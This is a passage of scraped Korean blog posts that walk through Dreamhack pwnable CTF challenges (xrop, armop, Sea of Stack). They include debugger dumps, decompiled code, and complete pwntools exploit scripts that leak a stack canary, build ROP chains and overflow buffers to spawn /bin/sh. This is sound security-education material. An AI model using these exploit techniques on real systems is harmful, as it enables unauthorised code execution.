variable, no debug info\u0026gt; *) 0x74f174e81d60 \u0026lt;system\u0026gt; (remote) gef➤ p 0x74f174e81d60 - 0x000074f174e31000 $7 = 0x50d60 위 결과를 보니 PIE base주소는 굳이 필요 없어 보인다. system 함수는 libc의 +0x50d60, pop rdi; ret; 가젯은 libc의 +0x2a3e5, /bin/sh 문자열은 libc의 +0x1d8698 위치에 있다.\n이제 필요한 가젯들의 실제 주소를 구해 우리가 구한 offset이 정확한지 확인하자.\n(remote) gef➤ x/2i 0x000074f174e31000 + 0x2a3e5 0x74f174e5b3e5 \u0026lt;iconv+197\u0026gt;: pop rdi 0x74f174e5b3e6 \u0026lt;iconv+198\u0026gt;: ret (remote) gef➤ disass 0x000074f174e31000 + 0x50d60 Dump of assembler code for function system: 0x000074f174e81d60 \u0026lt;+0\u0026gt;: endbr64 0x000074f174e81d64 \u0026lt;+4\u0026gt;: test rdi,rdi 0x000074f174e81d67 \u0026lt;+7\u0026gt;: je 0x74f174e81d70 \u0026lt;system+16\u0026gt; 0x000074f174e81d69 \u0026lt;+9\u0026gt;: jmp 0x74f174e818f0 0x000074f174e81d6e \u0026lt;+14\u0026gt;: xchg ax,ax 0x000074f174e81d70 \u0026lt;+16\u0026gt;: sub rsp,0x8 0x000074f174e81d74 \u0026lt;+20\u0026gt;: lea rdi,[rip+0x187925] # 0x74f1750096a0 0x000074f174e81d7b \u0026lt;+27\u0026gt;: call 0x74f174e818f0 0x000074f174e81d80 \u0026lt;+32\u0026gt;: test eax,eax 0x000074f174e81d82 \u0026lt;+34\u0026gt;: sete al 0x000074f174e81d85 \u0026lt;+37\u0026gt;: add rsp,0x8 0x000074f174e81d89 \u0026lt;+41\u0026gt;: movzx eax,al 0x000074f174e81d8c \u0026lt;+44\u0026gt;: ret (remote) gef➤ x/s 0x000074f174e31000 + 0x001d8698 0x74f175009698: \u0026#34;/bin/sh\u0026#34; 확인 결과 이상 없는 것 같다.\n더미 24바이트 + 카나리 + 더미2 8바이트 + “pop rdi; ret; 가젯 주소” + “/bin/sh 주소” + system 함수 주소 를 xor 항등원 성질을 이용해 역 연산 해 read함수에 입력하면 된다. 필자는 가젯으로 인해 스택 구조가 망가지는 것을 막기 위해 pop rdi; ret;을 호출하기 전 ret;을 한번 더 호출했다.\n아래는 위 익스 방법을 구현한 파이썬 코드다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) # ontext.log_level = \u0026#39;debug\u0026#39; # p = process([\u0026#39;qemu-aarch64-static\u0026#39;,\u0026#39;-L\u0026#39;, \u0026#39;/usr/arm-linux-gnueabi\u0026#39;, \u0026#39;-g\u0026#39;, \u0026#39;8888\u0026#39;, \u0026#39;./app\u0026#39;]) # p = process([\u0026#39;qemu-aarch64-static\u0026#39;, \u0026#39;-g\u0026#39;, \u0026#39;1111\u0026#39;, \u0026#39;./deploy/prob\u0026#39;]) p = remote(\u0026#34;172.17.0.2\u0026#34;, 8080) # elf = ELF(\u0026#34;./deploy/prob\u0026#34;) def make_xored_input(desired_bytes): N = len(desired_bytes) buf = [0] * N buf[N-1] = desired_bytes[N-1] for i in range(N-1, 0, -1): buf[i-1] = desired_bytes[i-1] ^ buf[i] #print(buf) return bytes(buf) bof = b\u0026#34;abcd\u0026#34;*6 p.sendlineafter(b\u0026#34;Input: \u0026#34;, bof) p.recvuntil(b\u0026#34;You entered: \u0026#34;) p.recv(len(bof)+1) canary = b\u0026#34;\\x00\u0026#34;+p.recv(7) print(f\u0026#34;Leak canary : {hex(u64(canary))}\u0026#34;) get_libc_base_dummy = b\u0026#34;asdf\u0026#34;*10 p.sendafter(b\u0026#34;Input: \u0026#34;, get_libc_base_dummy) p.recvuntil(b\u0026#34;You entered: \u0026#34;) p.recv(len(get_libc_base_dummy)) libc_leak = u64(p.recv(6)+b\u0026#34;\\x00\\x00\u0026#34;) print(f\u0026#34;Leak libc : {hex(libc_leak)}\u0026#34;) libc_base = libc_leak-0x29d90 print(f\u0026#34;libc base : {hex(libc_base)}\u0026#34;) get_pie_base_dummy = b\u0026#34;qwer\u0026#34;*14 p.sendafter(b\u0026#34;Input: \u0026#34;, get_pie_base_dummy) p.recvuntil(b\u0026#34;You entered: \u0026#34;) p.recv(len(get_pie_base_dummy)) PIE_leak = u64(p.recv(6)+b\u0026#34;\\x00\\x00\u0026#34;) print(f\u0026#34;Leak PIE : {hex(PIE_leak)}\u0026#34;) PIE_base = PIE_leak-0x1c9 print(f\u0026#34;PIE base : {hex(PIE_base)}\u0026#34;) ## 0x000000000002a3e5: pop rdi; ret; libc 가젯 ## libc_base+0x1b0698 /bin/sh ## libc+0x28d60 system() pr = libc_base+0x2a3e5 ret = libc_base+0xf41c9 binsh = libc_base+0x1d8698 system = libc_base+0x50d60 payload = b\u0026#34;\\x00\u0026#34;+b\u0026#34;a\u0026#34;*23 payload += canary payload += b\u0026#34;qwerqwer\u0026#34; payload += p64(ret) payload += p64(pr) payload += p64(binsh) payload += p64(system) p.sendafter(b\u0026#34;Input: \u0026#34;, make_xored_input(payload)) p.interactive() ","permalink":"https://dig06161.github.io/2025/08/10/dreamhack-pwn-xrop/","summary":"드림핵 포너블 xrop 문제풀이","title":"[Dreamhack] PWN xrop"},{"content":"회사에 입사하고 오랜만에 올리는 문제풀이다.\nIoT 해킹을 직업으로 하며 arm환경에서 익스코드를 작성하는게 메인이 되었다.\n기존에 문제에서 접하던 x64 환경과는 또 환경으로 적응하고 메모리 커럽션 공격을 더욱 고도화 시키기 위해 arm, mips, risc-V 문제를 풀어보며 공부할 예정이다.\n이번 문제는 Dream hack의 armop 문제다. 처음에 rop로 풀려고 시도했는데 삽질하다가 쉬운방법으로 풀린 문제다.\n문제 파일을 다운받고 내부 파일들을 먼저 살펴보자. deploy에 문제파일과 실행을 위한 스크립트가 있다. qemu-aarch64-static 명령으로 문제파일을 실행한다. 홈페이지의 문제 설명을 보면 디버깅을 할 때는 제공된 스크립트를 이용하라고 한다. utils 디렉터리에 qemu를 디버그 모드로 실행시키는 스크립트와 gdb target remote 예제 스크립트가 제공된다.\n우선 도커파일을 빌드해서 prob 바이너리를 실행시켜보자.\npwn@f767549ec4e5:~$ ls -al total 796 drwxr-x--- 1 pwn pwn 4096 Jul 25 04:52 . drwxr-xr-x 1 root root 4096 Jul 21 07:00 .. -rw------- 1 pwn pwn 137 Jul 23 23:59 .bash_history -rw-r--r-- 1 pwn pwn 220 Jul 21 07:00 .bash_logout -rw-r--r-- 1 pwn pwn 3771 Jul 21 07:00 .bashrc -rw-r--r-- 1 pwn pwn 807 Jul 21 07:00 .profile -rw-r--r-- 1 root root 8 Jul 21 06:49 flag -rwxr-xr-x 1 root root 774744 Jul 21 06:49 prob -rwxr-xr-x 1 root root 36 Jul 21 06:49 run.sh pwn@f767549ec4e5:~$ ./run.sh exploit aarch64! input: testtest exploit aarch64! 문구를 출력하고 input: 출력 후 사용자 입력을 받는다.\n이제 바이너리를 동적 분석도구로 확인해보자.\nmain함수는 아래와 같다.\nundefined8 main(void) { int iVar1; setvbuf((FILE *)stdin,(char *)0x0,2,0); setvbuf((FILE *)stdout,(char *)0x0,2,0); setvbuf((FILE *)stderr,(char *)0x0,2,0); iVar1 = system(\u0026#34;echo \\\u0026#39;exploit aarch64!\\n\\\u0026#39;\u0026#34;); run(iVar1); return 0; } system함수를 통해 exploit aarch64! 를 출력하고 run함수를 실행한다. run 함수를 살펴보자\nvoid run(void) { undefined1 auStack_10 [16]; ___printf_chk(2,\u0026#34;input: \u0026#34;); __isoc99_scanf(\u0026amp;DAT_00467050,auStack_10); return; } 위를 보면 16만큼 할당된 배열에 scanf를 통해 입력을 받는데 입력 길이에 대한 제한이 없다. 따라서 해당 부분에서 BoF가 발생한다.\n처음에는 aarch64 ROP를 통해 문제를 풀려고 했는데 /bin/sh 문자열 검색중 다음과 같은 함수를 발견했다.\nvoid maybe_script_execute(undefined8 param_1,long *param_2,char **param_3) { long lVar1; undefined1 *puVar2; undefined1 *puVar3; long lVar5; ulong uVar6; char **__argv; undefined1 auStack_60 [16]; char *local_50; undefined8 uStack_48; long local_38; undefined1 *puVar4; puVar3 = auStack_60; puVar4 = auStack_60; local_38 = __stack_chk_guard; lVar5 = 0; if (*param_2 != 0) { LAB_00441aec: lVar1 = lVar5 + 1; if (param_2[lVar1] != 0) goto LAB_00441ae4; uVar6 = lVar5 * 8 + 0x27; puVar2 = auStack_60; while (puVar4 != auStack_60 + -(uVar6 \u0026amp; 0xffffffffffff0000)) { puVar3 = puVar2 + -0x10000; *(undefined8 *)(puVar2 + -0xfc00) = 0; puVar4 = puVar2 + -0x10000; puVar2 = puVar2 + -0x10000; } uVar6 = uVar6 \u0026amp; 0xfff0; lVar5 = -uVar6; *(undefined8 *)(puVar3 + lVar5) = 0; if (0x3ff \u0026lt; uVar6) { *(undefined8 *)(puVar3 + lVar5 + 0x400) = 0; __argv = (char **)(puVar3 + lVar5 + 0x10); *__argv = \u0026#34;/bin/sh\u0026#34;; *(undefined8 *)(puVar3 + lVar5 + 0x18) = param_1; if (lVar1 != 1) goto LAB_00441b9c; goto LAB_00441b54; } __argv = (char **)(puVar3 + lVar5 + 0x10); *__argv = \u0026#34;/bin/sh\u0026#34;; *(undefined8 *)(puVar3 + lVar5 + 0x18) = param_1; if (lVar1 == 1) goto LAB_00441b54; LAB_00441b9c: __argv = (char **)(puVar3 + lVar5 + 0x10); thunk_FUN_00400270(puVar3 + lVar5 + 0x20,param_2 + 1,lVar1 * 8); goto LAB_00441b58; } __argv = \u0026amp;local_50; local_50 = \u0026#34;/bin/sh\u0026#34;; uStack_48 = param_1; LAB_00441b54: __argv[2] = (char *)0x0; LAB_00441b58: execve(\u0026#34;/bin/sh\u0026#34;,__argv,param_3); LAB_00441b6c: if (local_38 - __stack_chk_guard == 0) { return; } /* WARNING: Subroutine does not return */ __stack_chk_fail(\u0026amp;__stack_chk_guard,0,local_38 - __stack_chk_guard); LAB_00441ae4: lVar5 = lVar1; if (lVar1 == 0x7ffffffe) goto LAB_00441bd0; goto LAB_00441aec; LAB_00441bd0: lVar5 = tpidr_el0; *(undefined4 *)(lVar5 + 0x28) = 7; goto LAB_00441b6c; } 간단하게 분석한 결과 함수의 파라미터로 전달된 명령을 execve 명령을 통해 구동시키는 코드로 단일 실행 시 /bin/sh 를 실행해 쉘이 떨어질 것이라 판단했다.\nqemu-aarch64-static 의 -g 옵션을 통해 디버깅 포트를 활성화 하고 gdb를 붙여 16바이트를 입력 후 스택의 주소를 살펴보자.\npwn@f767549ec4e5:~$ qemu-aarch64-static -g 1234 prob exploit aarch64! input: aaaaaaaaaaaaaaaa pwndbg\u0026gt; ni 0x00000000004007cc in run () LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────── *X0 1 *X1 0x49dd50 (__stack_chk_guard) ◂— 0xdfa7ef6a7643d800 X2 0 X3 0 *X4 0x28 *X5 0x18 *X6 0 *X7 0x4000008004b0 —▸ 0x400000800400 ◂— 0xffffffffff00ff00 *X8 0x3f *X9 0 *X10 0 *X11 0 *X12 0xffffffc8 *X13 0x400000800450 ◂— 0 *X14 0x3a30 *X15 0x4a03e8 (_IO_2_1_stdin_) ◂— 0xfbad208b *X16 0x40d8a4 (_IO_default_uflow) ◂— stp x29, x30, [sp, #-0x20]! X17 0x417b80 (__memcpy_mops) ◂— nop *X18 0x4a1830 (_nl_global_locale) —▸ 0x49cc60 (_nl_C_LC_CTYPE) —▸ 0x4698b0 (_nl_C_name) ◂— udf #0x43 /* \u0026#39;C\u0026#39; */ X19 1 X20 0x400000800668 —▸ 0x400000800824 ◂— 0x534f4800626f7270 /* \u0026#39;prob\u0026#39; */ X21 2 X22 0x400000800678 —▸ 0x400000800829 ◂— \u0026#39;HOSTNAME=f767549ec4e5\u0026#39; X23 0x49c2b0 (__preinit_array_start) —▸ 0x4005e0 (init_have_lse_atomics) ◂— stp x29, x30, [sp, #-0x10]! X24 2 X25 0x18 X26 0x4a6000 (__pthread_keys+14384) ◂— 0 X27 0x4a0020 —▸ 0x419040 (__strlen_generic) ◂— nop X28 0x400250 (_init) ◂— nop X29 0x400000800490 —▸ 0x4000008004b0 —▸ 0x400000800400 ◂— 0xffffffffff00ff00 SP 0x400000800490 —▸ 0x4000008004b0 —▸ 0x400000800400 ◂— 0xffffffffff00ff00 LR 0x4007cc (run+40) ◂— ldp x29, x30, [sp], #0x20 *PC 0x4007cc (run+40) ◂— ldp x29, x30, [sp], #0x20 ─────────────────────────────────[ DISASM / aarch64 / set emulate on ]───────────────────────────────── b+ 0x4007c8 \u0026lt;run+36\u0026gt; bl __isoc99_scanf \u0026lt;__isoc99_scanf\u0026gt; ► 0x4007cc \u0026lt;run+40\u0026gt; ldp x29, x30, [sp], #0x20 0x4007d0 \u0026lt;run+44\u0026gt; ✔ ret \u0026lt;main+96\u0026gt; ↓ 0x400834 \u0026lt;main+96\u0026gt; mov w0, #0 W0 =\u0026gt; 0 0x400838 \u0026lt;main+100\u0026gt; ldp x29, x30, [sp], #0x10 0x40083c \u0026lt;main+104\u0026gt; ✔ ret \u0026lt;__libc_start_call_main+88\u0026gt; ↓ 0x4008e8 \u0026lt;__libc_start_call_main+88\u0026gt; bl exit \u0026lt;exit\u0026gt; 0x4008ec \u0026lt;__libc_start_call_main+92\u0026gt; bl __nptl_deallocate_tsd \u0026lt;__nptl_deallocate_tsd\u0026gt; 0x4008f0 \u0026lt;__libc_start_call_main+96\u0026gt; adrp x1, 0x4a0000 X1 =\u0026gt; 0x4a0000 0x4008f4 \u0026lt;__libc_start_call_main+100\u0026gt; mov w0, #-1 0x4008f8 \u0026lt;__libc_start_call_main+104\u0026gt; add x1, x1, #0x5c8 ───────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────── 00:0000│ x29 sp 0x400000800490 —▸ 0x4000008004b0 —▸ 0x400000800400 ◂— 0xffffffffff00ff00 01:0008│ 0x400000800498 —▸ 0x400834 (main+96) ◂— mov w0, #0 02:0010│ 0x4000008004a0 ◂— \u0026#39;aaaaaaaaaaaaaaaa\u0026#39; 03:0018│ 0x4000008004a8 ◂— \u0026#39;aaaaaaaa\u0026#39; 04:0020│ x7 0x4000008004b0 —▸ 0x400000800400 ◂— 0xffffffffff00ff00 05:0028│ 0x4000008004b8 —▸ 0x4008e8 (__libc_start_call_main+88) ◂— bl exit 06:0030│ 0x4000008004c0 —▸ 0x4000008005d0 ◂— 0 07:0038│ 0x4000008004c8 —▸ 0x400c8c (__libc_start_main_impl+872) ◂— bl __libc_check_standard_fds /* \u0026#39;5\u0026#39; */ ─────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────── ► 0 0x4007cc run+40 1 0x400834 main+96 2 0x4008e8 __libc_start_call_main+88 3 0x400c8c __libc_start_main_impl+872 4 0x400670 _start+48 ─────────────────────────────────────────────────────────────────────────────────────────────────────── 이후 입력한 값이 위치한 스택의 -0x10 위치를 찍어 내용을 살펴보자.\npwndbg\u0026gt; x/32gx 0x4000008004a0-0x10 0x400000800490: 0x00004000008004b0 0x0000000000400834 0x4000008004a0: 0x6161616161616161 0x6161616161616161 0x4000008004b0: 0x0000400000800400 0x00000000004008e8 0x4000008004c0: 0x00004000008005d0 0x0000000000400c8c 0x4000008004d0: 0x0000000000000000 0x0000000000400674 0x4000008004e0: 0x0000000100000000 0x0000400000800668 0x4000008004f0: 0x0000000000000001 0x0000400000800668 0x400000800500: 0x0000000000000002 0x0000400000800678 0x400000800510: 0x000000000049c2b0 0x0000000000000002 0x400000800520: 0x0000000000000018 0x00000000004a6000 0x400000800530: 0x00000000004a0020 0x0000000000400250 0x400000800540: 0x00004000008004c0 0x7eda91b1c1986a52 0x400000800550: 0x0000000000000001 0x7edad1b1c158663e 0x400000800560: 0x0000000000000000 0x0000000000000000 0x400000800570: 0x0000000000000000 0x0000000000000000 0x400000800580: 0x0000000000000000 0x0000000000000000 위 내용을 직접 분석하면 aarch64 아키텍쳐의 독특한 점을 확인할 수 있다. 0x400000800498 지점의 0x0000000000400834 값은 run() 함수가 동작 후 리턴 하여 main으로 돌아갈 위치다. 그럼 입력한 값 뒤에 있는 0x4000008004b0 에 위치한 0x00000000004008e8 위치는 __libc_start_call_main이다. main함수가 끝난 뒤 return될 지점이다.\npwndbg\u0026gt; disass 0x00000000004008e8 Dump of assembler code for function __libc_start_call_main: 0x0000000000400890 \u0026lt;+0\u0026gt;: stp x29, x30, [sp, #-272]! 0x0000000000400894 \u0026lt;+4\u0026gt;: mov x29, sp 0x0000000000400898 \u0026lt;+8\u0026gt;: str x0, [sp, #24] 0x000000000040089c \u0026lt;+12\u0026gt;: add x0, sp, #0x30 0x00000000004008a0 \u0026lt;+16\u0026gt;: str w1, [sp, #36] 0x00000000004008a4 \u0026lt;+20\u0026gt;: str x2, [sp, #40] 0x00000000004008a8 \u0026lt;+24\u0026gt;: bl 0x401080 \u0026lt;_setjmp\u0026gt; 0x00000000004008ac \u0026lt;+28\u0026gt;: cbnz w0, 0x4008ec \u0026lt;__libc_start_call_main+92\u0026gt; 0x00000000004008b0 \u0026lt;+32\u0026gt;: mrs x0, tpidr_el0 0x00000000004008b4 \u0026lt;+36\u0026gt;: adrp x1, 0x4a6000 \u0026lt;__pthread_keys+14384\u0026gt; 0x00000000004008b8 \u0026lt;+40\u0026gt;: sub x3, x0, #0x600 0x00000000004008bc \u0026lt;+44\u0026gt;: sub x0, x0, #0x740 0x00000000004008c0 \u0026lt;+48\u0026gt;: ldr x2, [x1, #2096] 0x00000000004008c4 \u0026lt;+52\u0026gt;: add x1, sp, #0x30 0x00000000004008c8 \u0026lt;+56\u0026gt;: ldur q0, [x3, #-72] 0x00000000004008cc \u0026lt;+60\u0026gt;: str x1, [x0, #256] 0x00000000004008d0 \u0026lt;+64\u0026gt;: ldr x3, [sp, #24] 0x00000000004008d4 \u0026lt;+68\u0026gt;: ldr x1, [sp, #40] 0x00000000004008d8 \u0026lt;+72\u0026gt;: ext v0.16b, v0.16b, v0.16b, #8 0x00000000004008dc \u0026lt;+76\u0026gt;: ldr w0, [sp, #36] 0x00000000004008e0 \u0026lt;+80\u0026gt;: stur q0, [sp, #232] 0x00000000004008e4 \u0026lt;+84\u0026gt;: blr x3 0x00000000004008e8 \u0026lt;+88\u0026gt;: bl 0x401610 \u0026lt;exit\u0026gt; 0x00000000004008ec \u0026lt;+92\u0026gt;: bl 0x40fbd0 \u0026lt;__nptl_deallocate_tsd\u0026gt; 0x00000000004008f0 \u0026lt;+96\u0026gt;: adrp x1, 0x4a0000 0x00000000004008f4 \u0026lt;+100\u0026gt;: mov w0, #0xffffffff // #-1 0x00000000004008f8 \u0026lt;+104\u0026gt;: add x1, x1, #0x5c8 0x00000000004008fc \u0026lt;+108\u0026gt;: bl 0x45ef30 \u0026lt;__aarch64_ldadd4_relax\u0026gt; 0x0000000000400900 \u0026lt;+112\u0026gt;: cmp w0, #0x1 0x0000000000400904 \u0026lt;+116\u0026gt;: b.eq 0x40091c \u0026lt;__libc_start_call_main+140\u0026gt; // b.none 0x0000000000400908 \u0026lt;+120\u0026gt;: mov x8, #0x5d // #93 0x000000000040090c \u0026lt;+124\u0026gt;: nop 0x0000000000400910 \u0026lt;+128\u0026gt;: mov x0, #0x0 // #0 0x0000000000400914 \u0026lt;+132\u0026gt;: svc #0x0 0x0000000000400918 \u0026lt;+136\u0026gt;: b 0x400910 \u0026lt;__libc_start_call_main+128\u0026gt; 0x000000000040091c \u0026lt;+140\u0026gt;: mov w0, #0x0 // #0 0x0000000000400920 \u0026lt;+144\u0026gt;: bl 0x401610 \u0026lt;exit\u0026gt; End of assembler dump. 입력하고자 하는 위치 뒤에 있는 스택 값은 지금 상황에서 덮어 씌울 방법이 없다. 그러면 가장 가까운 0x00000000004008e8 값을 조작하고 main이 끝난 뒤 원하는 곳으로 점프할 수 있는지 확인하자. return주소를 0x6363636363636363으로 overwrite하고 main의 return까지 진행시켜 해당 위치로 이동하는지 확인한다.\npwndbg\u0026gt; x/32gx 0x4000008004a0 0x4000008004a0: 0x6161616161616161 0x6161616161616161 0x4000008004b0: 0x6262626262626262 0x6363636363636363 0x4000008004c0: 0x0000400000800500 0x0000000000400c8c 0x4000008004d0: 0x0000000000000000 0x0000000000400674 0x4000008004e0: 0x0000000100000000 0x0000400000800668 0x4000008004f0: 0x0000000000000001 0x0000400000800668 0x400000800500: 0x0000000000000002 0x0000400000800678 0x400000800510: 0x000000000049c2b0 0x0000000000000002 0x400000800520: 0x0000000000000018 0x00000000004a6000 0x400000800530: 0x00000000004a0020 0x0000000000400250 0x400000800540: 0x00004000008004c0 0xb368fbd897096349 0x400000800550: 0x0000000000000001 0xb368bbd897c96f25 0x400000800560: 0x0000000000000000 0x0000000000000000 0x400000800570: 0x0000000000000000 0x0000000000000000 0x400000800580: 0x0000000000000000 0x0000000000000000 0x400000800590: 0x0000000000000000 0x0000000000000000 pwndbg\u0026gt; 0x000000000040083c in main () LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────── X0 0 X1 0x49dd50 (__stack_chk_guard) ◂— 0x1c8bb25695de4f00 X2 0 X3 0 X4 0x28 X5 0x18 X6 0 X7 0x4000008004c0 —▸ 0x400000800500 ◂— 2 X8 0x3f X9 0 X10 0 X11 0 X12 0xffffffc8 X13 0x400000800450 ◂— 0 X14 0x3a30 X15 0x4a03e8 (_IO_2_1_stdin_) ◂— 0xfbad208b X16 0x40d8a4 (_IO_default_uflow) ◂— stp x29, x30, [sp, #-0x20]! X17 0x417b80 (__memcpy_mops) ◂— nop X18 0x4a1830 (_nl_global_locale) —▸ 0x49cc60 (_nl_C_LC_CTYPE) —▸ 0x4698b0 (_nl_C_name) ◂— udf #0x43 /* \u0026#39;C\u0026#39; */ X19 1 X20 0x400000800668 —▸ 0x400000800824 ◂— 0x534f4800626f7270 /* \u0026#39;prob\u0026#39; */ X21 2 X22 0x400000800678 —▸ 0x400000800829 ◂— \u0026#39;HOSTNAME=f767549ec4e5\u0026#39; X23 0x49c2b0 (__preinit_array_start) —▸ 0x4005e0 (init_have_lse_atomics) ◂— stp x29, x30, [sp, #-0x10]! X24 2 X25 0x18 X26 0x4a6000 (__pthread_keys+14384) ◂— 0 X27 0x4a0020 —▸ 0x419040 (__strlen_generic) ◂— nop X28 0x400250 (_init) ◂— nop *X29 0x6262626262626262 (\u0026#39;bbbbbbbb\u0026#39;) *SP 0x4000008004c0 —▸ 0x400000800500 ◂— 2 LR 0x6363636363636363 (\u0026#39;cccccccc\u0026#39;) *PC 0x40083c (main+104) ◂— ret ─────────────────────────────────[ DISASM / aarch64 / set emulate on ]───────────────────────────────── b+ 0x4007cc \u0026lt;run+40\u0026gt; ldp x29, x30, [sp], #0x20 0x4007d0 \u0026lt;run+44\u0026gt; ✔ ret \u0026lt;main+96\u0026gt; ↓ 0x400834 \u0026lt;main+96\u0026gt; mov w0, #0 W0 =\u0026gt; 0 0x400838 \u0026lt;main+100\u0026gt; ldp x29, x30, [sp], #0x10 ► 0x40083c \u0026lt;main+104\u0026gt; ✔ ret \u0026lt;0x6363636363636363\u0026gt; ↓ ───────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────── 00:0000│ x7 sp 0x4000008004c0 —▸ 0x400000800500 ◂— 2 01:0008│ 0x4000008004c8 —▸ 0x400c8c (__libc_start_main_impl+872) ◂— bl __libc_check_standard_fds /* \u0026#39;5\u0026#39; */ 02:0010│ 0x4000008004d0 ◂— 0 03:0018│ 0x4000008004d8 —▸ 0x400674 (_start+52) ◂— nop 04:0020│ 0x4000008004e0 ◂— 0x100000000 05:0028│ 0x4000008004e8 —▸ 0x400000800668 —▸ 0x400000800824 ◂— 0x534f4800626f7270 /* \u0026#39;prob\u0026#39; */ 06:0030│ 0x4000008004f0 ◂— 1 07:0038│ 0x4000008004f8 —▸ 0x400000800668 —▸ 0x400000800824 ◂— 0x534f4800626f7270 /* \u0026#39;prob\u0026#39; */ ─────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────── ► 0 0x40083c main+104 1 0x6363636363636363 None ─────────────────────────────────────────────────────────────────────────────────────────────────────── gdb를 확인하면 main함수에서 0x6363636363636363 로 return하려는 것을 볼 수 있다. 그러면 해당 부분을 maybe_script_execute 함수 주소로 변조하면 쉘을 얻을 수 있을 것이다.\n익스 코드는 다음과 같다.\nfrom pwn import * context.update(arch=\u0026#39;aarch64\u0026#39;, os=\u0026#39;linux\u0026#39;) #context.log_level = \u0026#39;debug\u0026#39; # p = process([\u0026#39;qemu-aarch64-static\u0026#39;,\u0026#39;-L\u0026#39;, \u0026#39;/usr/arm-linux-gnueabi\u0026#39;, \u0026#39;-g\u0026#39;, \u0026#39;8888\u0026#39;, \u0026#39;./app\u0026#39;]) p = process([\u0026#39;qemu-aarch64-static\u0026#39;, \u0026#39;-g\u0026#39;, \u0026#39;1111\u0026#39;, \u0026#39;./deploy/prob\u0026#39;]) elf = ELF(\u0026#34;./deploy/prob\u0026#34;) pause() _system=0x401b00 binsh_addr = 0x004671c8 exec_binsh = 0x0441b60 maybe_script_execute = 0x00441aa0 bof = b\u0026#34;a\u0026#34;*24 # payload = bof # payload += p64(0x0000000000435e38) # 리턴주소: 가젯 주소 # #payload += b\u0026#34;B\u0026#34; * (0x60) # (0x60 - 8) 패딩: 가젯 주소 이후부터 sp+0x60까지 패딩 # payload += p64(_system)*6 # payload += p64(binsh_addr) # sp+0x60: x0에 들어갈 값 # payload += b\u0026#34;C\u0026#34; * (0x80 - 0x68) # (0x80 - 0x68) 패딩: sp+0x68 ~ sp+0x80까지 패딩 # payload += b\u0026#34;D\u0026#34;*8 # sp+0x80: x29(Frame Pointer) # payload += p64(_system) payload1 = bof payload1 += p64(maybe_script_execute) p.sendlineafter(b\u0026#34;input: \u0026#34;, payload1) pause() p.interactive() ","permalink":"https://dig06161.github.io/2025/07/25/dreamhack-pwn-armop/","summary":"드림핵 포너블 armop 문제풀이","title":"[Dreamhack] PWN armop"},{"content":"드림핵 포너블 문제 Sea of Stack 문제 풀이다.\n해당 문제를 보면 우분투 22.04기반 컨테이너에 동작하고 libc 파일이 주어진다. prob 바이너리가 주어지며 이를 실행시키면 다음과 같은 동작을 가진다.\nroot@b87ade2e40ca:/home# ./prob If you really want to give me a present, bring me that kind detective\u0026#39;s heart. \u0026gt; aaaaaaaaaaaaaaa Sea of Stack 1. safe func 2. unsafe func \u0026gt; 1 aaaaaaaaaaaaaaaaaaaaaaaa 기드라 디컴파일러를 통해 해당 바이너리를 열어보자. 메인함수의 코드는 매우 간단하다. 코드를 살펴보면 다음과 같다.\nundefined8 main(void) { int iVar1; undefined8 local_38; undefined8 *local_30; char local_28 [28]; int local_c; proc_init(); printf(\u0026#34;If you really want to give me a present, bring me that kind detective\\\u0026#39;s heart.\\n\u0026gt; \u0026#34;) ; read_input(local_28,0x10); iVar1 = strcmp(local_28,\u0026#34;Decision2Solve\u0026#34;); if ((iVar1 == 0) \u0026amp;\u0026amp; (gotPresent == 0)) { read_input(\u0026amp;local_30,8); read_input(\u0026amp;local_38,6); *local_30 = local_38; gotPresent = 1; } print_menu(); local_c = read_number(); if (local_c == 1) { (*(code *)safe)(); } else if (local_c == 2) { (*(code *)unsafe)(); } return 0; } 또한 safe함수와 unsafe함수는 다음과 같다.\nvoid safe_func(void) { undefined local_38 [48]; read_input(local_38,0x29); memset(local_38,0,0x28); return; } void unsafe_func(void) { undefined local_28 [32]; read_input(local_28,0x10000); return; } 우선 unsafe 함수에서 오버플로우가 가능하다. libc가 주어진 것으로 보아, libc 주소를 leak해 ROP 체이닝을 해야할 것으로 예상된다.\n간단하게 unsafe 함수에서 오버플로우를 시도해본다. 0x10000만큼의 임의 값을 입력하면 오류가 발생하며 gdb를 통해 확인하면 스택의 크기를 벗어난 지점에 값을 쓰려고 하여 권한 문제가 발생한다.\n여기서 재밌는 트릭을 사용한다. main함수의 if 구문을 보면 0x10만큼 입력받은 문자열이 Decision2Solve와 동일한지 검사하여 동일하면 입력한 주소 부분에 원하는 값을 6만큼 쓸 수 있다.\n취약점 트리거를 해야하는 unsafe함수를 이용해야 한다. 따라서 safe 함수 위치를 main함수 주소로 덮어 main을 여러번 call 한다.\n필자는 1000번의 call을 진행했으며 첫번째 실행의 rsp, rbp와 1000번을 실행한 rsp, rbp를 비교해보자.\n//첫번째 main함수 지점 레지스터 *RAX 0x401446 (main) ◂— endbr64 RBX 0 RCX 0x7d89cf314992 (read+18) ◂— cmp rax, -0x1000 /* \u0026#39;H=\u0026#39; */ *RDX 0x404010 (safe) —▸ 0x4013f0 (safe_func) ◂— endbr64 RDI 0 RSI 0x7fffe0176627 ◂— 0x60000000100 R8 0x51 R9 0x7d89cf521040 (_dl_fini) ◂— endbr64 R10 0x402048 ◂— \u0026#34;If you really want to give me a present, bring me that kind detective\u0026#39;s heart.\\n\u0026gt; \u0026#34; R11 0x246 R12 0x7fffe0176788 —▸ 0x7fffe0176fd3 ◂— 0x4c00626f72702f2e /* \u0026#39;./prob\u0026#39; */ R13 0x401446 (main) ◂— endbr64 R14 0x403d98 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401200 (__do_global_dtors_aux) ◂— endbr64 R15 0x7d89cf555040 (_rtld_global) —▸ 0x7d89cf5562e0 ◂— 0 *RBP 0x7fffe0176670 ◂— 1 *RSP 0x7fffe0176640 —▸ 0x401446 (main) ◂— endbr64 *RIP 0x4014ca (main+132) ◂— mov qword ptr [rdx], rax //1000번 main 호출 이후 main함수 지점 레지스터 *RAX 0 RBX 0 *RCX 0x7fffe0166bd1 ◂— 0x4600007fffe01767 *RDX 